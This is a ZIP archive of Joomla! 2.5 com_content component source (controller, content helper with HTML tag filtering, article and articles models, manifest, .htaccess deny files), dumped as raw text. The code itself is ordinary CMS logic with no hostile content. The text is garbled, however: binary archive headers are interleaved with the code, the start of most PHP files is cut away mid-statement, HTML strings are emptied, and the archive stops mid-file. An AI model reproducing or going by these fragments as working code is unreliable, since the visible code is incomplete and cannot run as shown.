    PKs>\f@ @ com_content/controller.phpnuW+Aget('id') || ($_SERVER['REQUEST_METHOD'] == 'POST' && (($vName == 'category' && JRequest::getCmd('layout') != 'blog') || $vName == 'archive' ))) { $cachable = false; } $safeurlparams = array('catid'=>'INT', 'id'=>'INT', 'cid'=>'ARRAY', 'year'=>'INT', 'month'=>'INT', 'limit'=>'UINT', 'limitstart'=>'UINT', 'showall'=>'INT', 'return'=>'BASE64', 'filter'=>'STRING', 'filter_order'=>'CMD', 'filter_order_Dir'=>'CMD', 'filter-search'=>'STRING', 'print'=>'BOOLEAN', 'lang'=>'CMD', 'Itemid'=>'INT'); // Check for edit form. if ($vName == 'form' && !$this->checkEditId('com_content.edit.article', $id)) { // Somehow the person just went to the form - we don't allow that. return JError::raiseError(403, JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); } parent::display($cachable, $safeurlparams); return $this; } } PKs>\icom_content/tables/featured.phpnuW+A\Vcom_content/tables/index.htmlnuW+A PKs>\)com_content/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\W com_content/helpers/content.phpnuW+Aset($action, $user->authorise($action, $assetName)); } return $result; } /** * Applies the content tag filters to arbitrary text as per settings for current user group * @param text The string to filter * @return string The filtered string */ public static function filterText($text) { // Filter settings $config = JComponentHelper::getParams('com_config'); $user = JFactory::getUser(); $userGroups = JAccess::getGroupsByUser($user->get('id')); $filters = $config->get('filters'); $blackListTags = array(); $blackListAttributes = array(); $customListTags = array(); $customListAttributes = array(); $whiteListTags = array(); $whiteListAttributes = array(); $noHtml = false; $whiteList = false; $blackList = false; $customList = false; $unfiltered = false; // Cycle through each of the user groups the user is in. // Remember they are included in the Public group as well. foreach ($userGroups as $groupId) { // May have added a group but not saved the filters. if (!isset($filters->$groupId)) { continue; } // Each group the user is in could have different filtering properties. $filterData = $filters->$groupId; $filterType = strtoupper($filterData->filter_type); if ($filterType == 'NH') { // Maximum HTML filtering. $noHtml = true; } elseif ($filterType == 'NONE') { // No HTML filtering. $unfiltered = true; } else { // Black, white or custom list. // Preprocess the tags and attributes. $tags = explode(',', $filterData->filter_tags); $attributes = explode(',', $filterData->filter_attributes); $tempTags = array(); $tempAttributes = array(); foreach ($tags as $tag) { $tag = trim($tag); if ($tag) { $tempTags[] = $tag; } } foreach ($attributes as $attribute) { $attribute = trim($attribute); if ($attribute) { $tempAttributes[] = $attribute; } } // Collect the black or white list tags and attributes. // Each lists is cummulative. if ($filterType == 'BL') { $blackList = true; $blackListTags = array_merge($blackListTags, $tempTags); $blackListAttributes = array_merge($blackListAttributes, $tempAttributes); } elseif ($filterType == 'CBL') { // Only set to true if Tags or Attributes were added if ($tempTags || $tempAttributes) { $customList = true; $customListTags = array_merge($customListTags, $tempTags); $customListAttributes = array_merge($customListAttributes, $tempAttributes); } } elseif ($filterType == 'WL') { $whiteList = true; $whiteListTags = array_merge($whiteListTags, $tempTags); $whiteListAttributes = array_merge($whiteListAttributes, $tempAttributes); } } } // Remove duplicates before processing (because the black list uses both sets of arrays). $blackListTags = array_unique($blackListTags); $blackListAttributes = array_unique($blackListAttributes); $customListTags = array_unique($customListTags); $customListAttributes = array_unique($customListAttributes); $whiteListTags = array_unique($whiteListTags); $whiteListAttributes = array_unique($whiteListAttributes); // Unfiltered assumes first priority. if ($unfiltered) { // Dont apply filtering. } else { // Custom blacklist precedes Default blacklist if ($customList) { $filter = JFilterInput::getInstance(array(), array(), 1, 1); // Override filter's default blacklist tags and attributes if ($customListTags) { $filter->tagBlacklist = $customListTags; } if ($customListAttributes) { $filter->attrBlacklist = $customListAttributes; } } // Black lists take third precedence. elseif ($blackList) { // Remove the white-listed attributes from the black-list. $filter = JFilterInput::getInstance( array_diff($blackListTags, $whiteListTags), // blacklisted tags array_diff($blackListAttributes, $whiteListAttributes), // blacklisted attributes 1, // blacklist tags 1 // blacklist attributes ); // Remove white listed tags from filter's default blacklist if ($whiteListTags) { $filter->tagBlacklist = array_diff($filter->tagBlacklist, $whiteListTags); } // Remove white listed attributes from filter's default blacklist if ($whiteListAttributes) { $filter->attrBlacklist = array_diff($filter->attrBlacklist); } } // White lists take fourth precedence. elseif ($whiteList) { $filter = JFilterInput::getInstance($whiteListTags, $whiteListAttributes, 0, 0, 0); // turn off xss auto clean } // No HTML takes last place. else { $filter = JFilterInput::getInstance(); } $text = $filter->clean($text, 'html'); } return $text; } } PKs>\)com_content/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_content/helpers/index.htmlnuW+A PKs>\)"com_content/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\V#com_content/helpers/html/index.htmlnuW+A PKs>\S?II1com_content/helpers/html/contentadministrator.phpnuW+A array('disabled.png', 'articles.featured', 'COM_CONTENT_UNFEATURED', 'COM_CONTENT_TOGGLE_TO_FEATURE'), 1 => array('featured.png', 'articles.unfeatured', 'COM_CONTENT_FEATURED', 'COM_CONTENT_TOGGLE_TO_UNFEATURE'), ); $state = JArrayHelper::getValue($states, (int) $value, $states[1]); $html = JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true); if ($canChange) { $html = '' . $html.''; } return $html; } } PKs>\>com_content/content.xmlnuW+A com_content Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CONTENT_XML_DESCRIPTION content.php controller.php index.html router.php helpers models language/en-GB.com_content.ini access.xml config.xml content.php controller.php index.html controllers elements helpers models tables views language/en-GB.com_content.ini PKs>\T0com_content/content.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PKs>\%Ycom_content/models/feature.phpnuW+A\Vcom_content/models/index.htmlnuW+A PKs>\I++com_content/models/article.phpnuW+AsetState('article.id', $pk); $offset = JRequest::getUInt('limitstart'); $this->setState('list.offset', $offset); // Load the parameters. $params = $app->getParams(); $this->setState('params', $params); // TODO: Tune these values based on other permissions. $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))){ $this->setState('filter.published', 1); $this->setState('filter.archived', 2); } $this->setState('filter.language', JLanguageMultilang::isEnabled()); } /** * Method to get article data. * * @param integer The id of the article. * * @return mixed Menu item data object on success, false on failure. */ public function &getItem($pk = null) { // Get current user for authorisation checks $user = JFactory::getUser(); // Initialise variables. $pk = (!empty($pk)) ? $pk : (int) $this->getState('article.id'); if ($this->_item === null) { $this->_item = array(); } if (!isset($this->_item[$pk])) { try { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select($this->getState( 'item.select', 'a.id, a.asset_id, a.title, a.alias, a.title_alias, a.introtext, a.fulltext, ' . // If badcats is not null, this means that the article is inside an unpublished category // In this case, the state is set to 0 to indicate Unpublished (even if the article state is Published) 'CASE WHEN badcats.id is null THEN a.state ELSE 0 END AS state, ' . 'a.mask, a.catid, a.created, a.created_by, a.created_by_alias, ' . // use created if modified is 0 'CASE WHEN a.modified = 0 THEN a.created ELSE a.modified END as modified, ' . 'a.modified_by, a.checked_out, a.checked_out_time, a.publish_up, a.publish_down, ' . 'a.images, a.urls, a.attribs, a.version, a.parentid, a.ordering, ' . 'a.metakey, a.metadesc, a.access, a.hits, a.metadata, a.featured, a.language, a.xreference' ) ); $query->from('#__content AS a'); // Join on category table. $query->select('c.title AS category_title, c.alias AS category_alias, c.access AS category_access'); $query->join('LEFT', '#__categories AS c on c.id = a.catid'); // Join on user table. $query->select('u.name AS author'); $query->join('LEFT', '#__users AS u on u.id = a.created_by'); // Get contact id $subQuery = $db->getQuery(true); $subQuery->select('MAX(contact.id) AS id'); $subQuery->from('#__contact_details AS contact'); $subQuery->where('contact.published = 1'); $subQuery->where('contact.user_id = a.created_by'); // Filter by language if ($this->getState('filter.language')) { $subQuery->where('(contact.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ') OR contact.language IS NULL)'); } $query->select('(' . $subQuery . ') as contactid'); // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')'); } // Join over the categories to get parent category titles $query->select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias'); $query->join('LEFT', '#__categories as parent ON parent.id = c.parent_id'); // Join on voting table $query->select('ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count'); $query->join('LEFT', '#__content_rating AS v ON a.id = v.content_id'); $query->where('a.id = ' . (int) $pk); if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))) { // Filter by start and end dates. $nullDate = $db->Quote($db->getNullDate()); $date = JFactory::getDate(); $nowDate = $db->Quote($date->toSql()); $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')'); $query->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); } // Join to check for category published state in parent categories up the tree // If all categories are published, badcats.id will be null, and we just use the article state $subquery = ' (SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent '; $subquery .= 'ON cat.lft BETWEEN parent.lft AND parent.rgt '; $subquery .= 'WHERE parent.extension = ' . $db->quote('com_content'); $subquery .= ' AND parent.published <= 0 GROUP BY cat.id)'; $query->join('LEFT OUTER', $subquery . ' AS badcats ON badcats.id = c.id'); // Filter by published state. $published = $this->getState('filter.published'); $archived = $this->getState('filter.archived'); if (is_numeric($published)) { $query->where('(a.state = ' . (int) $published . ' OR a.state =' . (int) $archived . ')'); } $db->setQuery($query); $data = $db->loadObject(); if ($error = $db->getErrorMsg()) { throw new Exception($error); } if (empty($data)) { return JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND')); } // Check for published state if filter set. if (((is_numeric($published)) || (is_numeric($archived))) && (($data->state != $published) && ($data->state != $archived))) { return JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND')); } // Convert parameter fields to objects. $registry = new JRegistry; $registry->loadString($data->attribs); $data->params = clone $this->getState('params'); $data->params->merge($registry); $registry = new JRegistry; $registry->loadString($data->metadata); $data->metadata = $registry; // Technically guest could edit an article, but lets not check that to improve performance a little. if (!$user->get('guest')) { $userId = $user->get('id'); $asset = 'com_content.article.'.$data->id; // Check general edit permission first. if ($user->authorise('core.edit', $asset)) { $data->params->set('access-edit', true); } // Now check if edit.own is available. elseif (!empty($userId) && $user->authorise('core.edit.own', $asset)) { // Check for a valid user and that they are the owner. if ($userId == $data->created_by) { $data->params->set('access-edit', true); } } } // Compute view access permissions. if ($access = $this->getState('filter.access')) { // If the access filter has been set, we already know this user can view. $data->params->set('access-view', true); } else { // If no access filter is set, the layout takes some responsibility for display of limited information. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); if ($data->catid == 0 || $data->category_access === null) { $data->params->set('access-view', in_array($data->access, $groups)); } else { $data->params->set('access-view', in_array($data->access, $groups) && in_array($data->category_access, $groups)); } } $this->_item[$pk] = $data; } catch (JException $e) { if ($e->getCode() == 404) { // Need to go thru the error handler to allow Redirect to work. JError::raiseError(404, $e->getMessage()); } else { $this->setError($e); $this->_item[$pk] = false; } } } return $this->_item[$pk]; } /** * Increment the hit counter for the article. * * @param int Optional primary key of the article to increment. * * @return boolean True if successful; false otherwise and internal error set. */ public function hit($pk = 0) { $hitcount = JRequest::getInt('hitcount', 1); if ($hitcount) { // Initialise variables. $pk = (!empty($pk)) ? $pk : (int) $this->getState('article.id'); $db = $this->getDbo(); $db->setQuery( 'UPDATE #__content' . ' SET hits = hits + 1' . ' WHERE id = '.(int) $pk ); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } } return true; } public function storeVote($pk = 0, $rate = 0) { if ( $rate >= 1 && $rate <= 5 && $pk > 0 ) { $userIP = $_SERVER['REMOTE_ADDR']; $db = $this->getDbo(); $db->setQuery( 'SELECT *' . ' FROM #__content_rating' . ' WHERE content_id = '.(int) $pk ); $rating = $db->loadObject(); if (!$rating) { // There are no ratings yet, so lets insert our rating $db->setQuery( 'INSERT INTO #__content_rating ( content_id, lastip, rating_sum, rating_count )' . ' VALUES ( '.(int) $pk.', '.$db->Quote($userIP).', '.(int) $rate.', 1 )' ); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } } else { if ($userIP != ($rating->lastip)) { $db->setQuery( 'UPDATE #__content_rating' . ' SET rating_count = rating_count + 1, rating_sum = rating_sum + '.(int) $rate.', lastip = '.$db->Quote($userIP) . ' WHERE content_id = '.(int) $pk ); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } } else { return false; } } return true; } JError::raiseWarning( 'SOME_ERROR_CODE', JText::sprintf('COM_CONTENT_INVALID_RATING', $rate), "JModelArticle::storeVote($rate)"); return false; } }PKs>\*+lOOcom_content/models/articles.phpnuW+AgetCfg('list_limit', 0)); $this->setState('list.limit', $value); $value = JRequest::getUInt('limitstart', 0); $this->setState('list.start', $value); $orderCol = JRequest::getCmd('filter_order', 'a.ordering'); if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'a.ordering'; } $this->setState('list.ordering', $orderCol); $listOrder = JRequest::getCmd('filter_order_Dir', 'ASC'); if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', ''))) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $params = $app->getParams(); $this->setState('params', $params); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))){ // filter on published for those who do not have edit or edit.state rights. $this->setState('filter.published', 1); } $this->setState('filter.language', $app->getLanguageFilter()); // process show_noauth parameter if (!$params->get('show_noauth')) { $this->setState('filter.access', true); } else { $this->setState('filter.access', false); } $this->setState('layout', JRequest::getCmd('layout')); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . serialize($this->getState('filter.published')); $id .= ':' . $this->getState('filter.access'); $id .= ':' . $this->getState('filter.featured'); $id .= ':' . $this->getState('filter.article_id'); $id .= ':' . $this->getState('filter.article_id.include'); $id .= ':' . serialize($this->getState('filter.category_id')); $id .= ':' . $this->getState('filter.category_id.include'); $id .= ':' . serialize($this->getState('filter.author_id')); $id .= ':' . $this->getState('filter.author_id.include'); $id .= ':' . serialize($this->getState('filter.author_alias')); $id .= ':' . $this->getState('filter.author_alias.include'); $id .= ':' . $this->getState('filter.date_filtering'); $id .= ':' . $this->getState('filter.date_field'); $id .= ':' . $this->getState('filter.start_date_range'); $id .= ':' . $this->getState('filter.end_date_range'); $id .= ':' . $this->getState('filter.relative_date'); return parent::getStoreId($id); } /** * Get the master query for retrieving a list of articles subject to the model state. * * @return JDatabaseQuery * @since 1.6 */ function getListQuery() { // Get the current user for authorisation checks $user = JFactory::getUser(); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.alias, a.title_alias, a.introtext, a.language, ' . 'a.checked_out, a.checked_out_time, ' . 'a.catid, a.created, a.created_by, a.created_by_alias, ' . // use created if modified is 0 'CASE WHEN a.modified = 0 THEN a.created ELSE a.modified END as modified, ' . 'a.modified_by, uam.name as modified_by_name,' . // use created if publish_up is 0 'CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END as publish_up,' . 'a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, ' . 'a.hits, a.xreference, a.featured,'.' '.$query->length('a.fulltext').' AS readmore' ) ); // Process an Archived Article layout if ($this->getState('filter.published') == 2) { // If badcats is not null, this means that the article is inside an archived category // In this case, the state is set to 2 to indicate Archived (even if the article state is Published) $query->select($this->getState('list.select', 'CASE WHEN badcats.id is null THEN a.state ELSE 2 END AS state')); } else { // Process non-archived layout // If badcats is not null, this means that the article is inside an unpublished category // In this case, the state is set to 0 to indicate Unpublished (even if the article state is Published) $query->select($this->getState('list.select', 'CASE WHEN badcats.id is not null THEN 0 ELSE a.state END AS state')); } $query->from('#__content AS a'); // Join over the frontpage articles. if ($this->context != 'com_content.featured') { $query->join('LEFT', '#__content_frontpage AS fp ON fp.content_id = a.id'); } // Join over the categories. $query->select('c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Join over the users for the author and modified_by names. $query->select("CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author"); $query->select("ua.email AS author_email"); $query->join('LEFT', '#__users AS ua ON ua.id = a.created_by'); $query->join('LEFT', '#__users AS uam ON uam.id = a.modified_by'); // Get contact id $subQuery = $db->getQuery(true); $subQuery->select('MAX(contact.id) AS id'); $subQuery->from('#__contact_details AS contact'); $subQuery->where('contact.published = 1'); $subQuery->where('contact.user_id = a.created_by'); // Filter by language if ($this->getState('filter.language')) { $subQuery->where('(contact.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ') OR contact.language IS NULL)'); } $query->select('(' . $subQuery . ') as contactid'); // Join over the categories to get parent category titles $query->select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias'); $query->join('LEFT', '#__categories as parent ON parent.id = c.parent_id'); // Join on voting table $query->select('ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count'); $query->join('LEFT', '#__content_rating AS v ON a.id = v.content_id'); // Join to check for category published state in parent categories up the tree $query->select('c.published, CASE WHEN badcats.id is null THEN c.published ELSE 0 END AS parents_published'); $subquery = 'SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent '; $subquery .= 'ON cat.lft BETWEEN parent.lft AND parent.rgt '; $subquery .= 'WHERE parent.extension = ' . $db->quote('com_content'); if ($this->getState('filter.published') == 2) { // Find any up-path categories that are archived // If any up-path categories are archived, include all children in archived layout $subquery .= ' AND parent.published = 2 GROUP BY cat.id '; // Set effective state to archived if up-path category is archived $publishedWhere = 'CASE WHEN badcats.id is null THEN a.state ELSE 2 END'; } else { // Find any up-path categories that are not published // If all categories are published, badcats.id will be null, and we just use the article state $subquery .= ' AND parent.published != 1 GROUP BY cat.id '; // Select state to unpublished if up-path category is unpublished $publishedWhere = 'CASE WHEN badcats.id is null THEN a.state ELSE 0 END'; } $query->join('LEFT OUTER', '(' . $subquery . ') AS badcats ON badcats.id = c.id'); // Filter by access level. if ($access = $this->getState('filter.access')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); $query->where('c.access IN ('.$groups.')'); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { // Use article state if badcats.id is null, otherwise, force 0 for unpublished $query->where($publishedWhere . ' = ' . (int) $published); } elseif (is_array($published)) { JArrayHelper::toInteger($published); $published = implode(',', $published); // Use article state if badcats.id is null, otherwise, force 0 for unpublished $query->where($publishedWhere . ' IN ('.$published.')'); } // Filter by featured state $featured = $this->getState('filter.featured'); switch ($featured) { case 'hide': $query->where('a.featured = 0'); break; case 'only': $query->where('a.featured = 1'); break; case 'show': default: // Normally we do not discriminate // between featured/unfeatured items. break; } // Filter by a single or group of articles. $articleId = $this->getState('filter.article_id'); if (is_numeric($articleId)) { $type = $this->getState('filter.article_id.include', true) ? '= ' : '<> '; $query->where('a.id '.$type.(int) $articleId); } elseif (is_array($articleId)) { JArrayHelper::toInteger($articleId); $articleId = implode(',', $articleId); $type = $this->getState('filter.article_id.include', true) ? 'IN' : 'NOT IN'; $query->where('a.id '.$type.' ('.$articleId.')'); } // Filter by a single or group of categories $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $type = $this->getState('filter.category_id.include', true) ? '= ' : '<> '; // Add subcategory check $includeSubcategories = $this->getState('filter.subcategories', false); $categoryEquals = 'a.catid '.$type.(int) $categoryId; if ($includeSubcategories) { $levels = (int) $this->getState('filter.max_category_levels', '1'); // Create a subquery for the subcategory list $subQuery = $db->getQuery(true); $subQuery->select('sub.id'); $subQuery->from('#__categories as sub'); $subQuery->join('INNER', '#__categories as this ON sub.lft > this.lft AND sub.rgt < this.rgt'); $subQuery->where('this.id = '.(int) $categoryId); if ($levels >= 0) { $subQuery->where('sub.level <= this.level + '.$levels); } // Add the subquery to the main query $query->where('('.$categoryEquals.' OR a.catid IN ('.$subQuery->__toString().'))'); } else { $query->where($categoryEquals); } } elseif (is_array($categoryId) && (count($categoryId) > 0)) { JArrayHelper::toInteger($categoryId); $categoryId = implode(',', $categoryId); if (!empty($categoryId)) { $type = $this->getState('filter.category_id.include', true) ? 'IN' : 'NOT IN'; $query->where('a.catid '.$type.' ('.$categoryId.')'); } } // Filter by author $authorId = $this->getState('filter.author_id'); $authorWhere = ''; if (is_numeric($authorId)) { $type = $this->getState('filter.author_id.include', true) ? '= ' : '<> '; $authorWhere = 'a.created_by '.$type.(int) $authorId; } elseif (is_array($authorId)) { JArrayHelper::toInteger($authorId); $authorId = implode(',', $authorId); if ($authorId) { $type = $this->getState('filter.author_id.include', true) ? 'IN' : 'NOT IN'; $authorWhere = 'a.created_by '.$type.' ('.$authorId.')'; } } // Filter by author alias $authorAlias = $this->getState('filter.author_alias'); $authorAliasWhere = ''; if (is_string($authorAlias)) { $type = $this->getState('filter.author_alias.include', true) ? '= ' : '<> '; $authorAliasWhere = 'a.created_by_alias '.$type.$db->Quote($authorAlias); } elseif (is_array($authorAlias)) { $first = current($authorAlias); if (!empty($first)) { JArrayHelper::toString($authorAlias); foreach ($authorAlias as $key => $alias) { $authorAlias[$key] = $db->Quote($alias); } $authorAlias = implode(',', $authorAlias); if ($authorAlias) { $type = $this->getState('filter.author_alias.include', true) ? 'IN' : 'NOT IN'; $authorAliasWhere = 'a.created_by_alias '.$type.' ('.$authorAlias . ')'; } } } if (!empty($authorWhere) && !empty($authorAliasWhere)) { $query->where('('.$authorWhere.' OR '.$authorAliasWhere.')'); } elseif (empty($authorWhere) && empty($authorAliasWhere)) { // If both are empty we don't want to add to the query } else { // One of these is empty, the other is not so we just add both $query->where($authorWhere.$authorAliasWhere); } // Define null and now dates $nullDate = $db->Quote($db->getNullDate()); $nowDate = $db->Quote(JFactory::getDate()->toSql()); if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))) { // Filter by start and end dates. $query->where('(a.publish_up = '.$nullDate.' OR a.publish_up <= '.$nowDate.')'); $query->where('(a.publish_down = '.$nullDate.' OR a.publish_down >= '.$nowDate.')'); } // Filter by Date Range or Relative Date $dateFiltering = $this->getState('filter.date_filtering', 'off'); $dateField = $this->getState('filter.date_field', 'a.created'); switch ($dateFiltering) { case 'range': $startDateRange = $db->Quote($this->getState('filter.start_date_range', $nullDate)); $endDateRange = $db->Quote($this->getState('filter.end_date_range', $nullDate)); $query->where('('.$dateField.' >= '.$startDateRange.' AND '.$dateField . ' <= '.$endDateRange.')'); break; case 'relative': $relativeDate = (int) $this->getState('filter.relative_date', 0); $query->where($dateField.' >= DATE_SUB('.$nowDate.', INTERVAL ' . $relativeDate.' DAY)'); break; case 'off': default: break; } // process the filter for list views with user-entered filters $params = $this->getState('params'); if ((is_object($params)) && ($params->get('filter_field') != 'hide') && ($filter = $this->getState('list.filter'))) { // clean filter variable $filter = JString::strtolower($filter); $hitsFilter = intval($filter); $filter = $db->Quote('%'.$db->escape($filter, true).'%', false); switch ($params->get('filter_field')) { case 'author': $query->where( 'LOWER( CASE WHEN a.created_by_alias > '.$db->quote(' '). ' THEN a.created_by_alias ELSE ua.name END ) LIKE '.$filter.' ' ); break; case 'hits': $query->where('a.hits >= '.$hitsFilter.' '); break; case 'title': default: // default to 'title' if parameter is not valid $query->where('LOWER( a.title ) LIKE '.$filter); break; } } // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')'); } // Add the list ordering clause. $query->order($this->getState('list.ordering', 'a.ordering').' '.$this->getState('list.direction', 'ASC')); return $query; } /** * Method to get a list of articles. * * Overriden to inject convert the attribs field into a JParameter object. * * @return mixed An array of objects on success, false on failure. * @since 1.6 */ public function getItems() { $items = parent::getItems(); $user = JFactory::getUser(); $userId = $user->get('id'); $guest = $user->get('guest'); $groups = $user->getAuthorisedViewLevels(); // Get the global params $globalParams = JComponentHelper::getParams('com_content', true); // Convert the parameter fields into objects. foreach ($items as &$item) { $articleParams = new JRegistry; $articleParams->loadString($item->attribs); // Unpack readmore and layout params $item->alternative_readmore = $articleParams->get('alternative_readmore'); $item->layout = $articleParams->get('layout'); $item->params = clone $this->getState('params'); // For blogs, article params override menu item params only if menu param = 'use_article' // Otherwise, menu item params control the layout // If menu item is 'use_article' and there is no article param, use global if ((JRequest::getString('layout') == 'blog') || (JRequest::getString('view') == 'featured') || ($this->getState('params')->get('layout_type') == 'blog')) { // create an array of just the params set to 'use_article' $menuParamsArray = $this->getState('params')->toArray(); $articleArray = array(); foreach ($menuParamsArray as $key => $value) { if ($value === 'use_article') { // if the article has a value, use it if ($articleParams->get($key) != '') { // get the value from the article $articleArray[$key] = $articleParams->get($key); } else { // otherwise, use the global value $articleArray[$key] = $globalParams->get($key); } } } // merge the selected article params if (count($articleArray) > 0) { $articleParams = new JRegistry; $articleParams->loadArray($articleArray); $item->params->merge($articleParams); } } else { // For non-blog layouts, merge all of the article params $item->params->merge($articleParams); } // get display date switch ($item->params->get('list_show_date')) { case 'modified': $item->displayDate = $item->modified; break; case 'published': $item->displayDate = ($item->publish_up == 0) ? $item->created : $item->publish_up; break; default: case 'created': $item->displayDate = $item->created; break; } // Compute the asset access permissions. // Technically guest could edit an article, but lets not check that to improve performance a little. if (!$guest) { $asset = 'com_content.article.'.$item->id; // Check general edit permission first. if ($user->authorise('core.edit', $asset)) { $item->params->set('access-edit', true); } // Now check if edit.own is available. elseif (!empty($userId) && $user->authorise('core.edit.own', $asset)) { // Check for a valid user and that they are the owner. if ($userId == $item->created_by) { $item->params->set('access-edit', true); } } } $access = $this->getState('filter.access'); if ($access) { // If the access filter has been set, we already have only the articles this user can view. $item->params->set('access-view', true); } else { // If no access filter is set, the layout takes some responsibility for display of limited information. if ($item->catid == 0 || $item->category_access === null) { $item->params->set('access-view', in_array($item->access, $groups)); } else { $item->params->set('access-view', in_array($item->access, $groups) && in_array($item->category_access, $groups)); } } } return $items; } public function getStart() { return $this->getState('list.start'); } } PKs>\V#com_content/models/forms/index.htmlnuW+A PKs>\ua$com_content/models/forms/article.xmlnuW+A
    PKs>\)"com_content/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\)#com_content/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_content/models/fields/index.htmlnuW+A PKs>\ +com_content/models/fields/modal/article.phpnuW+Aid.'(id, title, catid, object) {'; $script[] = ' document.id("'.$this->id.'_id").value = id;'; $script[] = ' document.id("'.$this->id.'_name").value = title;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Setup variables for display. $html = array(); $link = 'index.php?option=com_content&view=articles&layout=modal&tmpl=component&function=jSelectArticle_'.$this->id; $db = JFactory::getDBO(); $db->setQuery( 'SELECT title' . ' FROM #__content' . ' WHERE id = '.(int) $this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } if (empty($title)) { $title = JText::_('COM_CONTENT_SELECT_AN_ARTICLE'); } $title = htmlspecialchars($title, ENT_QUOTES, 'UTF-8'); // The current user display field. $html[] = '
    '; $html[] = ' '; $html[] = '
    '; // The user select button. $html[] = '
    '; $html[] = ' '; $html[] = '
    '; // The active article id field. if (0 == (int)$this->value) { $value = ''; } else { $value = (int)$this->value; } // class='required' for client side validation $class = ''; if ($this->required) { $class = ' class="required modal-value"'; } $html[] = ''; return implode("\n", $html); } } PKs>\))com_content/models/fields/modal/.htaccessnuW+A Order allow,deny Deny from all PKs>\V*com_content/models/fields/modal/index.htmlnuW+A PKs>\)com_content/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\V..com_content/models/featured.phpnuW+AsetState('list.start', $limitstart); $params = $this->state->params; $limit = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links'); $this->setState('list.limit', $limit); $this->setState('list.links', $params->get('num_links')); $this->setState('filter.frontpage', true); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))){ // filter on published for those who do not have edit or edit.state rights. $this->setState('filter.published', 1); } else { $this->setState('filter.published', array(0, 1, 2)); } // check for category selection if ($params->get('featured_categories') && implode(',', $params->get('featured_categories')) == true) { $featuredCategories = $params->get('featured_categories'); $this->setState('filter.frontpage.categories', $featuredCategories); } } /** * Method to get a list of articles. * * @return mixed An array of objects on success, false on failure. */ public function getItems() { $params = clone $this->getState('params'); $limit = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links'); if ($limit > 0) { $this->setState('list.limit', $limit); return parent::getItems(); } return array(); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= $this->getState('filter.frontpage'); return parent::getStoreId($id); } /** * @return JDatabaseQuery */ function getListQuery() { // Set the blog ordering $params = $this->state->params; $articleOrderby = $params->get('orderby_sec', 'rdate'); $articleOrderDate = $params->get('order_date'); $categoryOrderby = $params->def('orderby_pri', ''); $secondary = 